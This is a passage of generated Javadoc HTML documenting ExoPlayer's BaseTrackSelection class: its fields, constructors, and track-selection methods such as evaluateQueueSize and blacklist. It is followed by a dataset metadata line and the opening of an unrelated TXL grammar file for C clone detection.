<a href="https://developer.android.com/reference/java/util/List.html" title="class or interface in java.util" class="externalLink">List</a><? extends <a href="../source/chunk/MediaChunk.html" title="class in com.google.android.exoplayer2.source.chunk" target="_top">MediaChunk</a>> queue)</code></th>
<td class="colLast">
<div class="block">Returns the number of chunks that should be retained in the queue.</div>
</td>
</tr>
<tr id="i5" class="rowColor">
<td class="colFirst"><code><a href="../Format.html" title="class in com.google.android.exoplayer2">Format</a></code></td>
<th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#getFormat(int)">getFormat</a></span>​(int index)</code></th>
<td class="colLast">
<div class="block">Returns the format of the track at a given index in the selection.</div>
</td>
</tr>
<tr id="i6" class="altColor">
<td class="colFirst"><code>int</code></td>
<th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#getIndexInTrackGroup(int)">getIndexInTrackGroup</a></span>​(int index)</code></th>
<td class="colLast">
<div class="block">Returns the index in the track group of the track at a given index in the selection.</div>
</td>
</tr>
<tr id="i7" class="rowColor">
<td class="colFirst"><code><a href="../Format.html" title="class in com.google.android.exoplayer2">Format</a></code></td>
<th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#getSelectedFormat()">getSelectedFormat</a></span>()</code></th>
<td class="colLast">
<div class="block">Returns the <a href="../Format.html" title="class in com.google.android.exoplayer2"><code>Format</code></a> of the individual selected track.</div>
</td>
</tr>
<tr id="i8" class="altColor">
<td class="colFirst"><code>int</code></td>
<th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#getSelectedIndexInTrackGroup()">getSelectedIndexInTrackGroup</a></span>()</code></th>
<td class="colLast">
<div class="block">Returns the index in the track group of the individual selected track.</div>
</td>
</tr>
<tr id="i9" class="rowColor">
<td class="colFirst"><code><a href="../source/TrackGroup.html" title="class in com.google.android.exoplayer2.source">TrackGroup</a></code></td>
<th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#getTrackGroup()">getTrackGroup</a></span>()</code></th>
<td class="colLast">
<div class="block">Returns the <a href="../source/TrackGroup.html" title="class in com.google.android.exoplayer2.source"><code>TrackGroup</code></a> to which the selected tracks belong.</div>
</td>
</tr>
<tr id="i10" class="altColor">
<td class="colFirst"><code>int</code></td>
<th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#getType()">getType</a></span>()</code></th>
<td class="colLast">
<div class="block">Returns an integer specifying the type of the selection, or <a href="TrackSelection.html#TYPE_UNSET"><code>TrackSelection.TYPE_UNSET</code></a> if not
specified.</div>
</td>
</tr>
<tr id="i11" class="rowColor">
<td class="colFirst"><code>int</code></td>
<th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#hashCode()">hashCode</a></span>()</code></th>
<td class="colLast"> </td>
</tr>
<tr id="i12" class="altColor">
<td class="colFirst"><code>int</code></td>
<th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#indexOf(int)">indexOf</a></span>​(int indexInTrackGroup)</code></th>
<td class="colLast">
<div class="block">Returns the index in the selection of the track with the specified index in the track group.</div>
</td>
</tr>
<tr id="i13" class="rowColor">
<td class="colFirst"><code>int</code></td>
<th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#indexOf(com.google.android.exoplayer2.Format)">indexOf</a></span>​(<a href="../Format.html" title="class in com.google.android.exoplayer2">Format</a> format)</code></th>
<td class="colLast">
<div class="block">Returns the index in the selection of the track with the specified format.</div>
</td>
</tr>
<tr id="i14" class="altColor">
<td class="colFirst"><code>boolean</code></td>
<th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#isBlacklisted(int,long)">isBlacklisted</a></span>​(int index,
long nowMs)</code></th>
<td class="colLast">
<div class="block">Returns whether the track at the specified index in the selection is excluded.</div>
</td>
</tr>
<tr id="i15" class="rowColor">
<td class="colFirst"><code>int</code></td>
<th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#length()">length</a></span>()</code></th>
<td class="colLast">
<div class="block">Returns the number of tracks in the selection.</div>
</td>
</tr>
<tr id="i16" class="altColor">
<td class="colFirst"><code>void</code></td>
<th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#onPlaybackSpeed(float)">onPlaybackSpeed</a></span>​(float playbackSpeed)</code></th>
<td class="colLast">
<div class="block">Called to notify the selection of the current playback speed.</div>
</td>
</tr>
</table>
<ul class="blockList">
<li class="blockList"><a id="methods.inherited.from.class.java.lang.Object">
<!-- -->
</a>
<h3>Methods inherited from class java.lang.<a href="https://developer.android.com/reference/java/lang/Object.html" title="class or interface in java.lang" class="externalLink" target="_top">Object</a></h3>
<code><a href="https://developer.android.com/reference/java/lang/Object.html#clone()" title="class or interface in java.lang" class="externalLink">clone</a>, <a href="https://developer.android.com/reference/java/lang/Object.html?is-external=true#finalize()" title="class or interface in java.lang" class="externalLink">finalize</a>, <a href="https://developer.android.com/reference/java/lang/Object.html?is-external=true#getClass()" title="class or interface in java.lang" class="externalLink">getClass</a>, <a href="https://developer.android.com/reference/java/lang/Object.html?is-external=true#notify()" title="class or interface in java.lang" class="externalLink">notify</a>, <a href="https://developer.android.com/reference/java/lang/Object.html?is-external=true#notifyAll()" title="class or interface in java.lang" class="externalLink">notifyAll</a>, <a href="https://developer.android.com/reference/java/lang/Object.html?is-external=true#toString()" title="class or interface in java.lang" class="externalLink">toString</a>, <a href="https://developer.android.com/reference/java/lang/Object.html?is-external=true#wait()" title="class or interface in java.lang" class="externalLink">wait</a>, <a href="https://developer.android.com/reference/java/lang/Object.html?is-external=true#wait(long)" title="class or interface in java.lang" class="externalLink">wait</a>, <a href="https://developer.android.com/reference/java/lang/Object.html?is-external=true#wait(long,int)" title="class or interface in java.lang" class="externalLink" target="_top">wait</a></code></li>
</ul>
<ul class="blockList">
<li class="blockList"><a id="methods.inherited.from.class.com.google.android.exoplayer2.trackselection.ExoTrackSelection">
<!-- -->
</a>
<h3>Methods inherited from interface com.google.android.exoplayer2.trackselection.<a href="ExoTrackSelection.html" title="interface in com.google.android.exoplayer2.trackselection">ExoTrackSelection</a></h3>
<code><a href="ExoTrackSelection.html#getSelectedIndex()">getSelectedIndex</a>, <a href="ExoTrackSelection.html#getSelectionData()">getSelectionData</a>, <a href="ExoTrackSelection.html#getSelectionReason()">getSelectionReason</a>, <a href="ExoTrackSelection.html#onDiscontinuity()">onDiscontinuity</a>, <a href="ExoTrackSelection.html#onPlayWhenReadyChanged(boolean)">onPlayWhenReadyChanged</a>, <a href="ExoTrackSelection.html#onRebuffer()">onRebuffer</a>, <a href="ExoTrackSelection.html#shouldCancelChunkLoad(long,com.google.android.exoplayer2.source.chunk.Chunk,java.util.List)">shouldCancelChunkLoad</a>, <a href="ExoTrackSelection.html#updateSelectedTrack(long,long,long,java.util.List,com.google.android.exoplayer2.source.chunk.MediaChunkIterator%5B%5D)">updateSelectedTrack</a></code></li>
</ul>
</li>
</ul>
</section>
</li>
</ul>
</div>
<div class="details">
<ul class="blockList">
<li class="blockList">
<!-- ============ FIELD DETAIL =========== -->
<section role="region">
<ul class="blockList">
<li class="blockList"><a id="field.detail">
<!-- -->
</a>
<h3>Field Detail</h3>
<a id="group">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>group</h4>
<pre>protected final <a href="../source/TrackGroup.html" title="class in com.google.android.exoplayer2.source">TrackGroup</a> group</pre>
<div class="block">The selected <a href="../source/TrackGroup.html" title="class in com.google.android.exoplayer2.source"><code>TrackGroup</code></a>.</div>
</li>
</ul>
<a id="length">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>length</h4>
<pre>protected final int length</pre>
<div class="block">The number of selected tracks within the <a href="../source/TrackGroup.html" title="class in com.google.android.exoplayer2.source"><code>TrackGroup</code></a>. Always greater than zero.</div>
</li>
</ul>
<a id="tracks">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>tracks</h4>
<pre>protected final int[] tracks</pre>
<div class="block">The indices of the selected tracks in <a href="#group"><code>group</code></a>, in order of decreasing bandwidth.</div>
</li>
</ul>
</li>
</ul>
</section>
<!-- ========= CONSTRUCTOR DETAIL ======== -->
<section role="region">
<ul class="blockList">
<li class="blockList"><a id="constructor.detail">
<!-- -->
</a>
<h3>Constructor Detail</h3>
<a id="<init>(com.google.android.exoplayer2.source.TrackGroup,int...)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>BaseTrackSelection</h4>
<pre>public BaseTrackSelection​(<a href="../source/TrackGroup.html" title="class in com.google.android.exoplayer2.source">TrackGroup</a> group,
int... tracks)</pre>
<dl>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>group</code> - The <a href="../source/TrackGroup.html" title="class in com.google.android.exoplayer2.source"><code>TrackGroup</code></a>. Must not be null.</dd>
<dd><code>tracks</code> - The indices of the selected tracks within the <a href="../source/TrackGroup.html" title="class in com.google.android.exoplayer2.source"><code>TrackGroup</code></a>. Must not be
null or empty. May be in any order.</dd>
</dl>
</li>
</ul>
<a id="<init>(com.google.android.exoplayer2.source.TrackGroup,int[],int)">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>BaseTrackSelection</h4>
<pre>public BaseTrackSelection​(<a href="../source/TrackGroup.html" title="class in com.google.android.exoplayer2.source">TrackGroup</a> group,
int[] tracks,
int type)</pre>
<dl>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>group</code> - The <a href="../source/TrackGroup.html" title="class in com.google.android.exoplayer2.source"><code>TrackGroup</code></a>. Must not be null.</dd>
<dd><code>tracks</code> - The indices of the selected tracks within the <a href="../source/TrackGroup.html" title="class in com.google.android.exoplayer2.source"><code>TrackGroup</code></a>. Must not be
null or empty. May be in any order.</dd>
<dd><code>type</code> - The type that will be returned from <a href="TrackSelection.html#getType()"><code>TrackSelection.getType()</code></a>.</dd>
</dl>
</li>
</ul>
</li>
</ul>
</section>
<!-- ============ METHOD DETAIL ========== -->
<section role="region">
<ul class="blockList">
<li class="blockList"><a id="method.detail">
<!-- -->
</a>
<h3>Method Detail</h3>
<a id="getType()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getType</h4>
<pre class="methodSignature">public final int getType()</pre>
<div class="block"><span class="descfrmTypeLabel">Description copied from interface: <code><a href="TrackSelection.html#getType()">TrackSelection</a></code></span></div>
<div class="block">Returns an integer specifying the type of the selection, or <a href="TrackSelection.html#TYPE_UNSET"><code>TrackSelection.TYPE_UNSET</code></a> if not
specified.
<p>Track selection types are specific to individual applications, but should be defined
starting from <a href="TrackSelection.html#TYPE_CUSTOM_BASE"><code>TrackSelection.TYPE_CUSTOM_BASE</code></a> to ensure they don't conflict with any types that may
be added to the library in the future.</div>
<dl>
<dt><span class="overrideSpecifyLabel">Specified by:</span></dt>
<dd><code><a href="TrackSelection.html#getType()">getType</a></code> in interface <code><a href="TrackSelection.html" title="interface in com.google.android.exoplayer2.trackselection">TrackSelection</a></code></dd>
</dl>
</li>
</ul>
<a id="getTrackGroup()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getTrackGroup</h4>
<pre class="methodSignature">public final <a href="../source/TrackGroup.html" title="class in com.google.android.exoplayer2.source">TrackGroup</a> getTrackGroup()</pre>
<div class="block"><span class="descfrmTypeLabel">Description copied from interface: <code><a href="TrackSelection.html#getTrackGroup()">TrackSelection</a></code></span></div>
<div class="block">Returns the <a href="../source/TrackGroup.html" title="class in com.google.android.exoplayer2.source"><code>TrackGroup</code></a> to which the selected tracks belong.</div>
<dl>
<dt><span class="overrideSpecifyLabel">Specified by:</span></dt>
<dd><code><a href="TrackSelection.html#getTrackGroup()">getTrackGroup</a></code> in interface <code><a href="TrackSelection.html" title="interface in com.google.android.exoplayer2.trackselection">TrackSelection</a></code></dd>
</dl>
</li>
</ul>
<a id="length()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>length</h4>
<pre class="methodSignature">public final int length()</pre>
<div class="block"><span class="descfrmTypeLabel">Description copied from interface: <code><a href="TrackSelection.html#length()">TrackSelection</a></code></span></div>
<div class="block">Returns the number of tracks in the selection.</div>
<dl>
<dt><span class="overrideSpecifyLabel">Specified by:</span></dt>
<dd><code><a href="TrackSelection.html#length()">length</a></code> in interface <code><a href="TrackSelection.html" title="interface in com.google.android.exoplayer2.trackselection">TrackSelection</a></code></dd>
</dl>
</li>
</ul>
<a id="getFormat(int)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getFormat</h4>
<pre class="methodSignature">public final <a href="../Format.html" title="class in com.google.android.exoplayer2">Format</a> getFormat​(int index)</pre>
<div class="block"><span class="descfrmTypeLabel">Description copied from interface: <code><a href="TrackSelection.html#getFormat(int)">TrackSelection</a></code></span></div>
<div class="block">Returns the format of the track at a given index in the selection.</div>
<dl>
<dt><span class="overrideSpecifyLabel">Specified by:</span></dt>
<dd><code><a href="TrackSelection.html#getFormat(int)">getFormat</a></code> in interface <code><a href="TrackSelection.html" title="interface in com.google.android.exoplayer2.trackselection">TrackSelection</a></code></dd>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>index</code> - The index in the selection.</dd>
<dt><span class="returnLabel">Returns:</span></dt>
<dd>The format of the selected track.</dd>
</dl>
</li>
</ul>
<a id="getIndexInTrackGroup(int)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getIndexInTrackGroup</h4>
<pre class="methodSignature">public final int getIndexInTrackGroup​(int index)</pre>
<div class="block"><span class="descfrmTypeLabel">Description copied from interface: <code><a href="TrackSelection.html#getIndexInTrackGroup(int)">TrackSelection</a></code></span></div>
<div class="block">Returns the index in the track group of the track at a given index in the selection.</div>
<dl>
<dt><span class="overrideSpecifyLabel">Specified by:</span></dt>
<dd><code><a href="TrackSelection.html#getIndexInTrackGroup(int)">getIndexInTrackGroup</a></code> in interface <code><a href="TrackSelection.html" title="interface in com.google.android.exoplayer2.trackselection">TrackSelection</a></code></dd>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>index</code> - The index in the selection.</dd>
<dt><span class="returnLabel">Returns:</span></dt>
<dd>The index of the selected track.</dd>
</dl>
</li>
</ul>
<a id="indexOf(com.google.android.exoplayer2.Format)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>indexOf</h4>
<pre class="methodSignature">public final int indexOf​(<a href="../Format.html" title="class in com.google.android.exoplayer2">Format</a> format)</pre>
<div class="block"><span class="descfrmTypeLabel">Description copied from interface: <code><a href="TrackSelection.html#indexOf(com.google.android.exoplayer2.Format)">TrackSelection</a></code></span></div>
<div class="block">Returns the index in the selection of the track with the specified format. The format is
located by identity so, for example, <code>selection.indexOf(selection.getFormat(index)) ==
index</code> even if multiple selected tracks have formats that contain the same values.</div>
<dl>
<dt><span class="overrideSpecifyLabel">Specified by:</span></dt>
<dd><code><a href="TrackSelection.html#indexOf(com.google.android.exoplayer2.Format)">indexOf</a></code> in interface <code><a href="TrackSelection.html" title="interface in com.google.android.exoplayer2.trackselection">TrackSelection</a></code></dd>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>format</code> - The format.</dd>
<dt><span class="returnLabel">Returns:</span></dt>
<dd>The index in the selection, or <a href="../C.html#INDEX_UNSET"><code>C.INDEX_UNSET</code></a> if the track with the specified
format is not part of the selection.</dd>
</dl>
</li>
</ul>
<a id="indexOf(int)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>indexOf</h4>
<pre class="methodSignature">public final int indexOf​(int indexInTrackGroup)</pre>
<div class="block"><span class="descfrmTypeLabel">Description copied from interface: <code><a href="TrackSelection.html#indexOf(int)">TrackSelection</a></code></span></div>
<div class="block">Returns the index in the selection of the track with the specified index in the track group.</div>
<dl>
<dt><span class="overrideSpecifyLabel">Specified by:</span></dt>
<dd><code><a href="TrackSelection.html#indexOf(int)">indexOf</a></code> in interface <code><a href="TrackSelection.html" title="interface in com.google.android.exoplayer2.trackselection">TrackSelection</a></code></dd>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>indexInTrackGroup</code> - The index in the track group.</dd>
<dt><span class="returnLabel">Returns:</span></dt>
<dd>The index in the selection, or <a href="../C.html#INDEX_UNSET"><code>C.INDEX_UNSET</code></a> if the track with the specified
index is not part of the selection.</dd>
</dl>
</li>
</ul>
<a id="getSelectedFormat()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getSelectedFormat</h4>
<pre class="methodSignature">public final <a href="../Format.html" title="class in com.google.android.exoplayer2">Format</a> getSelectedFormat()</pre>
<div class="block"><span class="descfrmTypeLabel">Description copied from interface: <code><a href="ExoTrackSelection.html#getSelectedFormat()">ExoTrackSelection</a></code></span></div>
<div class="block">Returns the <a href="../Format.html" title="class in com.google.android.exoplayer2"><code>Format</code></a> of the individual selected track.</div>
<dl>
<dt><span class="overrideSpecifyLabel">Specified by:</span></dt>
<dd><code><a href="ExoTrackSelection.html#getSelectedFormat()">getSelectedFormat</a></code> in interface <code><a href="ExoTrackSelection.html" title="interface in com.google.android.exoplayer2.trackselection">ExoTrackSelection</a></code></dd>
</dl>
</li>
</ul>
<a id="getSelectedIndexInTrackGroup()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getSelectedIndexInTrackGroup</h4>
<pre class="methodSignature">public final int getSelectedIndexInTrackGroup()</pre>
<div class="block"><span class="descfrmTypeLabel">Description copied from interface: <code><a href="ExoTrackSelection.html#getSelectedIndexInTrackGroup()">ExoTrackSelection</a></code></span></div>
<div class="block">Returns the index in the track group of the individual selected track.</div>
<dl>
<dt><span class="overrideSpecifyLabel">Specified by:</span></dt>
<dd><code><a href="ExoTrackSelection.html#getSelectedIndexInTrackGroup()">getSelectedIndexInTrackGroup</a></code> in interface <code><a href="ExoTrackSelection.html" title="interface in com.google.android.exoplayer2.trackselection">ExoTrackSelection</a></code></dd>
</dl>
</li>
</ul>
<a id="enable()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>enable</h4>
<pre class="methodSignature">public void enable()</pre>
<div class="block"><span class="descfrmTypeLabel">Description copied from interface: <code><a href="ExoTrackSelection.html#enable()">ExoTrackSelection</a></code></span></div>
<div class="block">Enables the track selection. Dynamic changes via <a href="ExoTrackSelection.html#updateSelectedTrack(long,long,long,java.util.List,com.google.android.exoplayer2.source.chunk.MediaChunkIterator%5B%5D)"><code>ExoTrackSelection.updateSelectedTrack(long, long, long,
List, MediaChunkIterator[])</code></a>, <a href="ExoTrackSelection.html#evaluateQueueSize(long,java.util.List)"><code>ExoTrackSelection.evaluateQueueSize(long, List)</code></a> or <a href="ExoTrackSelection.html#shouldCancelChunkLoad(long,com.google.android.exoplayer2.source.chunk.Chunk,java.util.List)"><code>ExoTrackSelection.shouldCancelChunkLoad(long, Chunk, List)</code></a> will only happen after this call.
<p>This method may not be called when the track selection is already enabled.</div>
<dl>
<dt><span class="overrideSpecifyLabel">Specified by:</span></dt>
<dd><code><a href="ExoTrackSelection.html#enable()">enable</a></code> in interface <code><a href="ExoTrackSelection.html" title="interface in com.google.android.exoplayer2.trackselection">ExoTrackSelection</a></code></dd>
</dl>
</li>
</ul>
<a id="disable()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>disable</h4>
<pre class="methodSignature">public void disable()</pre>
<div class="block"><span class="descfrmTypeLabel">Description copied from interface: <code><a href="ExoTrackSelection.html#disable()">ExoTrackSelection</a></code></span></div>
<div class="block">Disables this track selection. No further dynamic changes via <a href="ExoTrackSelection.html#updateSelectedTrack(long,long,long,java.util.List,com.google.android.exoplayer2.source.chunk.MediaChunkIterator%5B%5D)"><code>ExoTrackSelection.updateSelectedTrack(long,
long, long, List, MediaChunkIterator[])</code></a>, <a href="ExoTrackSelection.html#evaluateQueueSize(long,java.util.List)"><code>ExoTrackSelection.evaluateQueueSize(long, List)</code></a> or <a href="ExoTrackSelection.html#shouldCancelChunkLoad(long,com.google.android.exoplayer2.source.chunk.Chunk,java.util.List)"><code>ExoTrackSelection.shouldCancelChunkLoad(long, Chunk, List)</code></a> will happen after this call.
<p>This method may only be called when the track selection is already enabled.</div>
<dl>
<dt><span class="overrideSpecifyLabel">Specified by:</span></dt>
<dd><code><a href="ExoTrackSelection.html#disable()">disable</a></code> in interface <code><a href="ExoTrackSelection.html" title="interface in com.google.android.exoplayer2.trackselection">ExoTrackSelection</a></code></dd>
</dl>
</li>
</ul>
<a id="onPlaybackSpeed(float)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>onPlaybackSpeed</h4>
<pre class="methodSignature">public void onPlaybackSpeed​(float playbackSpeed)</pre>
<div class="block"><span class="descfrmTypeLabel">Description copied from interface: <code><a href="ExoTrackSelection.html#onPlaybackSpeed(float)">ExoTrackSelection</a></code></span></div>
<div class="block">Called to notify the selection of the current playback speed. The playback speed may affect
adaptive track selection.</div>
<dl>
<dt><span class="overrideSpecifyLabel">Specified by:</span></dt>
<dd><code><a href="ExoTrackSelection.html#onPlaybackSpeed(float)">onPlaybackSpeed</a></code> in interface <code><a href="ExoTrackSelection.html" title="interface in com.google.android.exoplayer2.trackselection">ExoTrackSelection</a></code></dd>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>playbackSpeed</code> - The factor by which playback is sped up.</dd>
</dl>
</li>
</ul>
<a id="evaluateQueueSize(long,java.util.List)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>evaluateQueueSize</h4>
<pre class="methodSignature">public int evaluateQueueSize​(long playbackPositionUs,
<a href="https://developer.android.com/reference/java/util/List.html" title="class or interface in java.util" class="externalLink">List</a><? extends <a href="../source/chunk/MediaChunk.html" title="class in com.google.android.exoplayer2.source.chunk" target="_top">MediaChunk</a>> queue)</pre>
<div class="block"><span class="descfrmTypeLabel">Description copied from interface: <code><a href="ExoTrackSelection.html#evaluateQueueSize(long,java.util.List)">ExoTrackSelection</a></code></span></div>
<div class="block">Returns the number of chunks that should be retained in the queue.
<p>May be called by sources that load media in discrete <a href="../source/chunk/MediaChunk.html" title="class in com.google.android.exoplayer2.source.chunk"><code>MediaChunks</code></a> and
support discarding of buffered chunks.
<p>To avoid excessive re-buffering, implementations should normally return the size of the
queue. An example of a case where a smaller value may be returned is if network conditions have
improved dramatically, allowing chunks to be discarded and re-buffered in a track of
significantly higher quality. Discarding chunks may allow faster switching to a higher quality
track in this case.
<p>Note that even if the source supports discarding of buffered chunks, the actual number of
discarded chunks is not guaranteed. The source will call <a href="ExoTrackSelection.html#updateSelectedTrack(long,long,long,java.util.List,com.google.android.exoplayer2.source.chunk.MediaChunkIterator%5B%5D)"><code>ExoTrackSelection.updateSelectedTrack(long,
long, long, List, MediaChunkIterator[])</code></a> with the updated queue of chunks before loading a new
chunk to allow switching to another quality.
<p>This method will only be called when the selection is enabled and none of the <a href="../source/chunk/MediaChunk.html" title="class in com.google.android.exoplayer2.source.chunk"><code>MediaChunks</code></a> in the queue are currently loading.</div>
<dl>
<dt><span class="overrideSpecifyLabel">Specified by:</span></dt>
<dd><code><a href="ExoTrackSelection.html#evaluateQueueSize(long,java.util.List)">evaluateQueueSize</a></code> in interface <code><a href="ExoTrackSelection.html" title="interface in com.google.android.exoplayer2.trackselection">ExoTrackSelection</a></code></dd>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>playbackPositionUs</code> - The current playback position in microseconds. If playback of the
period to which this track selection belongs has not yet started, the value will be the
starting position in the period minus the duration of any media in previous periods still
to be played.</dd>
<dd><code>queue</code> - The queue of buffered <a href="../source/chunk/MediaChunk.html" title="class in com.google.android.exoplayer2.source.chunk"><code>MediaChunks</code></a>. Must not be modified.</dd>
<dt><span class="returnLabel">Returns:</span></dt>
<dd>The number of chunks to retain in the queue.</dd>
</dl>
</li>
</ul>
<a id="blacklist(int,long)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>blacklist</h4>
<pre class="methodSignature">public boolean blacklist​(int index,
long exclusionDurationMs)</pre>
<div class="block"><span class="descfrmTypeLabel">Description copied from interface: <code><a href="ExoTrackSelection.html#blacklist(int,long)">ExoTrackSelection</a></code></span></div>
<div class="block">Attempts to exclude the track at the specified index in the selection, making it ineligible for
selection by calls to <a href="ExoTrackSelection.html#updateSelectedTrack(long,long,long,java.util.List,com.google.android.exoplayer2.source.chunk.MediaChunkIterator%5B%5D)"><code>ExoTrackSelection.updateSelectedTrack(long, long, long, List,
MediaChunkIterator[])</code></a> for the specified period of time.
<p>Exclusion will fail if all other tracks are currently excluded. If excluding the currently
selected track, note that it will remain selected until the next call to <a href="ExoTrackSelection.html#updateSelectedTrack(long,long,long,java.util.List,com.google.android.exoplayer2.source.chunk.MediaChunkIterator%5B%5D)"><code>ExoTrackSelection.updateSelectedTrack(long, long, long, List, MediaChunkIterator[])</code></a>.
<p>This method will only be called when the selection is enabled.</div>
<dl>
<dt><span class="overrideSpecifyLabel">Specified by:</span></dt>
<dd><code><a href="ExoTrackSelection.html#blacklist(int,long)">blacklist</a></code> in interface <code><a href="ExoTrackSelection.html" title="interface in com.google.android.exoplayer2.trackselection">ExoTrackSelection</a></code></dd>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>index</code> - The index of the track in the selection.</dd>
<dd><code>exclusionDurationMs</code> - The duration of time for which the track should be excluded, in
milliseconds.</dd>
<dt><span class="returnLabel">Returns:</span></dt>
<dd>Whether exclusion was successful.</dd>
</dl>
</li>
</ul>
<a id="isBlacklisted(int,long)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>isBlacklisted</h4>
<pre class="methodSignature">public boolean isBlacklisted​(int index,
long nowMs)</pre>
<div class="block"><span class="descfrmTypeLabel">Description copied from interface: <code><a href="ExoTrackSelection.html#isBlacklisted(int,long)">ExoTrackSelection</a></code></span></div>
<div class="block">Returns whether the track at the specified index in the selection is excluded.</div>
<dl>
<dt><span class="overrideSpecifyLabel">Specified by:</span></dt>
<dd><code><a href="ExoTrackSelection.html#isBlacklisted(int,long)">isBlacklisted</a></code> in interface <code><a href="ExoTrackSelection.html" title="interface in com.google.android.exoplayer2.trackselection">ExoTrackSelection</a></code></dd>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>index</code> - The index of the track in the selection.</dd>
<dd><code>nowMs</code> - The current time in the timebase of <a href="https://developer.android.com/reference/android/os/SystemClock.html#elapsedRealtime()" title="class or interface in android.os" class="externalLink" target="_top"><code>SystemClock.elapsedRealtime()</code></a>.</dd>
</dl>
</li>
</ul>
<a id="hashCode()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>hashCode</h4>
<pre class="methodSignature">public int hashCode()</pre>
<dl>
<dt><span class="overrideSpecifyLabel">Overrides:</span></dt>
<dd><code><a href="https://developer.android.com/reference/java/lang/Object.html#hashCode()" title="class or interface in java.lang" class="externalLink">hashCode</a></code> in class <code><a href="https://developer.android.com/reference/java/lang/Object.html?is-external=true" title="class or interface in java.lang" class="externalLink" target="_top">Object</a></code></dd>
</dl>
</li>
</ul>
<a id="equals(java.lang.Object)">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>equals</h4>
<pre class="methodSignature">public boolean equals​(@Nullable
<a href="https://developer.android.com/reference/java/lang/Object.html" title="class or interface in java.lang" class="externalLink" target="_top">Object</a> obj)</pre>
<dl>
<dt><span class="overrideSpecifyLabel">Overrides:</span></dt>
<dd><code><a href="https://developer.android.com/reference/java/lang/Object.html#equals(java.lang.Object)" title="class or interface in java.lang" class="externalLink">equals</a></code> in class <code><a href="https://developer.android.com/reference/java/lang/Object.html?is-external=true" title="class or interface in java.lang" class="externalLink" target="_top">Object</a></code></dd>
</dl>
</li>
</ul>
</li>
</ul>
</section>
</li>
</ul>
</div>
</div>
</main>
<!-- ========= END OF CLASS DATA ========= -->
<footer role="contentinfo">
<nav role="navigation">
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a id="navbar.bottom">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div>
<a id="navbar.bottom.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../index.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../index-all.html">Index</a></li>
<li><a href="../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../../../../allclasses.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li><a href="#nested.class.summary">Nested</a> | </li>
<li><a href="#field.summary">Field</a> | </li>
<li><a href="#constructor.summary">Constr</a> | </li>
<li><a href="#method.summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li><a href="#field.detail">Field</a> | </li>
<li><a href="#constructor.detail">Constr</a> | </li>
<li><a href="#method.detail">Method</a></li>
</ul>
</div>
<a id="skip.navbar.bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
</nav>
</footer>
</body>
</html>
| HTML | 4 | SreeniMannem/CustoMSExoPlayer | docs/doc/reference/com/google/android/exoplayer2/trackselection/BaseTrackSelection.html | [
"Apache-2.0"
] |
% Abstract given nonterminals from potential clones - C block version
% Jim Cordy, May 2010
% Using Gnu C grammar
include "c.grm"
% Redefinition for potential clones
redefine compound_statement
{ [IN] [NL]
[compound_statement_body] [EX]
} [NL]
